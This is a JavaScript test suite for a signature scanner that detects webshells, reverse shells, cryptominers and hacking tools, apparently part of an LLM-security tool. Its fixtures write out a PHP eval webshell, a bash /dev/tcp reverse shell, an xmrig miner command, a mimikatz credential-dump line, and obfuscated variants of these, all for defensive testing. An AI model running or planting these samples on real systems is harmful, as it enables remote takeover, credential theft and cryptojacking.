Kjell Tore Guttormsen
14070160ba
#58 the e2e scan-pipeline suite omitted trg/sig/ast from EXPECTED_SCANNERS and no fixture carried trigger-abuse/known-signature/python-taint content, so the three v7.8.0 scanners' surfacing through the aggregate was never asserted; added a fixture (shadowing command name → TRG, webshell → SIG, tainted os.environ→requests.post → AST, python3-guarded) that asserts each appears in the envelope and the rolled-up counts/owasp_breakdown. #59 the SIG cryptominer (SIG-MINER-001/002) and hacktool (SIG-HACKTOOL-001) families and non-base64 decode variants had no test; added family-attribution tests and a rot13-decode assertion. Test-only, suite 2013/0. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01TcQyMTQfyrsAapaCMPxTtQ
288 lines
14 KiB
JavaScript
288 lines
14 KiB
JavaScript
// signature-scanner.test.mjs — Tests for the SIG known-bad-identity scanner.
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// Fixtures in tests/fixtures/signature-scan/:
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// - clean/ : benign prose that merely mentions "shell" (0 findings expected)
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// - poisoned/ : a PHP webshell, a base64-wrapped copy of it (decode-pipeline
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// differentiator), and a /dev/tcp reverse shell
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import { describe, it, beforeEach } from 'node:test';
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import assert from 'node:assert/strict';
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import { resolve, join } from 'node:path';
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import { fileURLToPath } from 'node:url';
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import { mkdtempSync, mkdirSync, writeFileSync, rmSync, readFileSync } from 'node:fs';
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import { tmpdir } from 'node:os';
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import { resetCounter } from '../../scanners/lib/output.mjs';
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import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
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import { scan } from '../../scanners/signature-scanner.mjs';
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import { rot13 } from '../../scanners/lib/string-utils.mjs';
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const __dirname = fileURLToPath(new URL('.', import.meta.url));
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const CLEAN_FIXTURE = resolve(__dirname, '../fixtures/signature-scan/clean');
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const POISONED_FIXTURE = resolve(__dirname, '../fixtures/signature-scan/poisoned');
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// ---------------------------------------------------------------------------
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// Clean — benign prose, no known-bad identity
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// ---------------------------------------------------------------------------
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describe('signature-scanner: clean', () => {
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let discovery;
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beforeEach(async () => {
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resetCounter();
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discovery = await discoverFiles(CLEAN_FIXTURE);
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});
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it('returns status ok', async () => {
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const result = await scan(CLEAN_FIXTURE, discovery);
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assert.equal(result.status, 'ok');
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});
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it('produces 0 findings for benign prose mentioning "shell"', async () => {
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const result = await scan(CLEAN_FIXTURE, discovery);
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assert.equal(
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result.findings.length, 0,
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`Expected 0 findings, got ${result.findings.length}: ${result.findings.map(f => f.title).join('; ')}`,
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);
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});
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});
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// ---------------------------------------------------------------------------
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// Poisoned — webshell + base64 variant (decode pipeline) + reverse shell
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// ---------------------------------------------------------------------------
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describe('signature-scanner: poisoned', () => {
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let discovery;
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beforeEach(async () => {
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resetCounter();
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discovery = await discoverFiles(POISONED_FIXTURE);
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});
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it('returns status ok', async () => {
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const result = await scan(POISONED_FIXTURE, discovery);
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assert.equal(result.status, 'ok');
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});
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it('all findings carry DS-SIG- ids and scanner SIG', async () => {
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const result = await scan(POISONED_FIXTURE, discovery);
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const wrong = result.findings.filter(f => !f.id.startsWith('DS-SIG-') || f.scanner !== 'SIG');
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assert.equal(wrong.length, 0, `Wrong id/scanner: ${wrong.map(f => `${f.id}/${f.scanner}`).join(', ')}`);
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});
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it('flags the raw PHP webshell', async () => {
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const result = await scan(POISONED_FIXTURE, discovery);
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const ws = result.findings.filter(f => f.file.includes('webshell.php'));
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assert.ok(ws.length >= 1, `Expected a webshell finding on webshell.php, got: ${result.findings.map(f => f.file).join('; ')}`);
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assert.ok(ws.some(f => /webshell/i.test(f.title) || /webshell/i.test(f.description)), 'finding should name the webshell family');
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});
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it('flags the base64-wrapped webshell via the decode pipeline', async () => {
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const result = await scan(POISONED_FIXTURE, discovery);
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const b64 = result.findings.find(f => f.file.includes('webshell-b64.txt'));
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assert.ok(b64, `Expected a finding on webshell-b64.txt (decode pipeline), got: ${result.findings.map(f => f.file).join('; ')}`);
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});
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it('flags the /dev/tcp reverse shell', async () => {
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const result = await scan(POISONED_FIXTURE, discovery);
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const rev = result.findings.find(f => f.file.includes('revshell.sh'));
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assert.ok(rev, `Expected a reverse-shell finding on revshell.sh, got: ${result.findings.map(f => f.file).join('; ')}`);
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});
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it('flags a webshell base64-EMBEDDED in surrounding code (#30, decodeEmbedded)', async () => {
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// The whole-string decode pipeline only fires when the ENTIRE file is one
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// base64 blob (webshell-b64.txt). #30: a payload embedded in surrounding
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// code (const x = "<base64>") must also reach the SIG decode pipeline via
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// decodeEmbedded. Regression guard for the signature-scanner opt-in flag.
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const payload = readFileSync(join(POISONED_FIXTURE, 'webshell.php'), 'utf8');
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const b64 = Buffer.from(payload).toString('base64');
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const dir = mkdtempSync(join(tmpdir(), 'sig-embed-b64-'));
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try {
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writeFileSync(join(dir, 'loader.js'), `const p = "${b64}";\nrun(atob(p));\n`);
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resetCounter();
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const d = await discoverFiles(dir);
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const result = await scan(dir, d);
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const hit = result.findings.find(f => f.file.includes('loader.js'));
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assert.ok(hit, `Expected the embedded-base64 webshell to be flagged, got: ${result.findings.map(f => f.file).join('; ')}`);
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} finally {
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rmSync(dir, { recursive: true, force: true });
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}
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});
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it('all findings have required fields', async () => {
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const result = await scan(POISONED_FIXTURE, discovery);
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assert.ok(result.findings.length >= 3, `expected >= 3 findings, got ${result.findings.length}`);
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for (const f of result.findings) {
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assert.ok(f.id, 'missing id');
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assert.equal(f.scanner, 'SIG', `${f.id} scanner should be SIG`);
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assert.ok(f.severity, `${f.id} missing severity`);
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assert.ok(f.title, `${f.id} missing title`);
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assert.ok(f.description, `${f.id} missing description`);
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assert.ok(f.file, `${f.id} missing file`);
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assert.ok(f.owasp, `${f.id} missing owasp`);
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}
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});
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});
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// ---------------------------------------------------------------------------
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// Cryptominer + hacktool families (#59) — the on-disk poisoned fixture only
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// covers webshell + reverse_shell, so SIG-MINER-* and SIG-HACKTOOL-001 were
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// never exercised. Non-base64 decode coverage (rot13) was also missing: the
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// only decode-pipeline test used base64. Each temp fixture holds exactly one
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// vector so the family attribution is unambiguous.
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// ---------------------------------------------------------------------------
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describe('signature-scanner: cryptominer + hacktool families', () => {
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it('fires the cryptominer family on a known miner binary reference (SIG-MINER-002)', async () => {
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const dir = mkdtempSync(join(tmpdir(), 'sig-miner-'));
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try {
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writeFileSync(join(dir, 'start.sh'), '#!/bin/sh\n./xmrig --coin monero -o pool.example:3333\n');
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resetCounter();
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const discovery = await discoverFiles(dir);
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const result = await scan(dir, discovery);
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assert.equal(result.status, 'ok');
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const miner = result.findings.filter(f => /\[cryptominer\]/.test(f.evidence || ''));
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assert.ok(miner.length >= 1, `expected a cryptominer finding, got: ${result.findings.map(f => f.evidence).join('; ')}`);
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assert.ok(miner.some(f => /SIG-MINER-002/.test(f.evidence)), 'should attribute to SIG-MINER-002 (miner binary)');
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assert.ok(miner.every(f => f.scanner === 'SIG'), 'miner findings must carry scanner SIG');
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} finally {
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rmSync(dir, { recursive: true, force: true });
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}
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});
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it('fires the cryptominer family on a stratum pool URL (SIG-MINER-001)', async () => {
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const dir = mkdtempSync(join(tmpdir(), 'sig-stratum-'));
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try {
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writeFileSync(join(dir, 'config.txt'), 'pool = stratum+tcp://pool.example.org:4444\n');
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resetCounter();
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const discovery = await discoverFiles(dir);
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const result = await scan(dir, discovery);
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const miner = result.findings.filter(f => /SIG-MINER-001/.test(f.evidence || ''));
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assert.ok(miner.length >= 1, `expected a SIG-MINER-001 stratum finding, got: ${result.findings.map(f => f.evidence).join('; ')}`);
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assert.ok(miner.every(f => f.severity === 'high'), 'stratum finding is the high-severity miner rule');
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} finally {
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rmSync(dir, { recursive: true, force: true });
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}
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});
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it('fires the hacktool family on an offensive-tooling reference (SIG-HACKTOOL-001)', async () => {
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const dir = mkdtempSync(join(tmpdir(), 'sig-hacktool-'));
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try {
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writeFileSync(join(dir, 'post.sh'), '#!/bin/sh\n# runs mimikatz sekurlsa::logonpasswords\n./mimikatz.exe\n');
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resetCounter();
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const discovery = await discoverFiles(dir);
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const result = await scan(dir, discovery);
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const ht = result.findings.filter(f => /\[hacktool\]/.test(f.evidence || ''));
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assert.ok(ht.length >= 1, `expected a hacktool finding, got: ${result.findings.map(f => f.evidence).join('; ')}`);
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assert.ok(ht.some(f => /SIG-HACKTOOL-001/.test(f.evidence)), 'should attribute to SIG-HACKTOOL-001');
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assert.ok(ht.some(f => /mimikatz/i.test(`${f.title} ${f.description}`) || /hacktool/i.test(f.title)), 'finding should name the hacktool family');
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} finally {
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rmSync(dir, { recursive: true, force: true });
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}
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});
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});
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// ---------------------------------------------------------------------------
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// Non-base64 decode variant (#59) — the SIG engine runs every rule against the
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// rot13 variant too, so a rot13-obfuscated miner reference (invisible to a raw
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// byte-matcher and to the base64 decode) must still be caught and flagged as
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// recovered-from-obfuscation.
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// ---------------------------------------------------------------------------
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describe('signature-scanner: rot13 decode variant', () => {
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it('catches a rot13-obfuscated cryptominer reference and marks it decoded', async () => {
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const dir = mkdtempSync(join(tmpdir(), 'sig-rot13-'));
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try {
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// rot13 is its own inverse: writing rot13("...xmrig...") means the SIG
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// rot13 variant decodes back to the plaintext miner reference. The raw
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// bytes ("...kzevt...") match no signature.
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const cipher = rot13('the xmrig payload is here');
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assert.ok(!/xmrig/i.test(cipher), 'sanity: the raw ciphertext must not contain the plaintext token');
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writeFileSync(join(dir, 'blob.txt'), cipher + '\n');
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resetCounter();
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const discovery = await discoverFiles(dir);
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const result = await scan(dir, discovery);
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const miner = result.findings.filter(f => /\[cryptominer\]/.test(f.evidence || ''));
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assert.ok(miner.length >= 1, `expected a rot13-recovered cryptominer finding, got: ${result.findings.map(f => f.evidence).join('; ')}`);
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assert.ok(
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miner.some(f => /rot13/i.test(f.description) || /obfuscated/i.test(f.description)),
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`finding should note it matched after rot13 decoding, got: ${miner.map(f => f.description).join(' | ')}`,
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);
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} finally {
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rmSync(dir, { recursive: true, force: true });
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}
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});
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});
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// ---------------------------------------------------------------------------
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// Hygiene — must not flag its own ruleset / test / docs paths when scanning
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// a project root that contains them
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// ---------------------------------------------------------------------------
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describe('signature-scanner: path exclusions', () => {
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it('does not scan knowledge/, tests/, or docs/ paths', async () => {
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const dir = mkdtempSync(join(tmpdir(), 'sig-paths-'));
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try {
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for (const sub of ['knowledge', 'tests', 'docs']) {
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mkdirSync(join(dir, sub), { recursive: true });
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// A file that WOULD match a webshell signature, but lives in an excluded dir.
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writeFileSync(join(dir, sub, 'sample.php'), "<?php @eval($_POST['x']); ?>\n");
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}
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resetCounter();
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const discovery = await discoverFiles(dir);
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const result = await scan(dir, discovery);
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assert.equal(result.findings.length, 0, `excluded dirs should yield 0 findings, got ${result.findings.map(f => f.file).join('; ')}`);
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} finally {
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rmSync(dir, { recursive: true, force: true });
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}
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});
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});
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// ---------------------------------------------------------------------------
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// Wiring — OWASP map + orchestrator registration (Step 4)
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// ---------------------------------------------------------------------------
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describe('signature-scanner: OWASP map registration', () => {
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it('SIG is present in all four OWASP maps with the right codes', async () => {
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const { OWASP_MAP, OWASP_AGENTIC_MAP, OWASP_SKILLS_MAP, OWASP_MCP_MAP } =
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await import('../../scanners/lib/severity.mjs');
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assert.deepEqual(OWASP_MAP.SIG, ['LLM03', 'LLM02']);
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assert.deepEqual(OWASP_AGENTIC_MAP.SIG, ['ASI04']);
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assert.deepEqual(OWASP_SKILLS_MAP.SIG, []);
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assert.deepEqual(OWASP_MCP_MAP.SIG, []);
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});
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});
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describe('signature-scanner: orchestrator registration', () => {
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it('scan-orchestrator imports and lists the SIG scanner', () => {
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const orchPath = resolve(__dirname, '../../scanners/scan-orchestrator.mjs');
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const text = readFileSync(orchPath, 'utf8');
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assert.match(text, /import\s+\{\s*scan as sigScan\s*\}\s+from\s+['"]\.\/signature-scanner\.mjs['"]/);
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assert.match(text, /\{\s*name:\s*'sig',\s*fn:\s*sigScan\s*\}/);
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});
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});
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// ---------------------------------------------------------------------------
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// Policy — disabling a family suppresses only that family's findings (Step 4)
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// ---------------------------------------------------------------------------
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describe('signature-scanner: family disable', () => {
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it('disabling "webshell" suppresses webshell findings but keeps reverse_shell', async () => {
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const dir = mkdtempSync(join(tmpdir(), 'sig-family-'));
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try {
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mkdirSync(join(dir, '.llm-security'), { recursive: true });
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writeFileSync(
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join(dir, '.llm-security', 'policy.json'),
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JSON.stringify({ sig: { enabled_families: ['reverse_shell'] } }),
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);
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writeFileSync(join(dir, 'shell.php'), "<?php @eval($_POST['cmd']); ?>\n");
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writeFileSync(join(dir, 'rev.sh'), '#!/bin/sh\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n');
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resetCounter();
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const discovery = await discoverFiles(dir);
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const result = await scan(dir, discovery);
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const families = result.findings.map(f => f.evidence);
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assert.ok(!families.some(e => /\[webshell\]/.test(e)), `webshell family should be suppressed, got: ${families.join('; ')}`);
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assert.ok(families.some(e => /\[reverse_shell\]/.test(e)), `reverse_shell should still fire, got: ${families.join('; ')}`);
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} finally {
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rmSync(dir, { recursive: true, force: true });
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}
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});
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});
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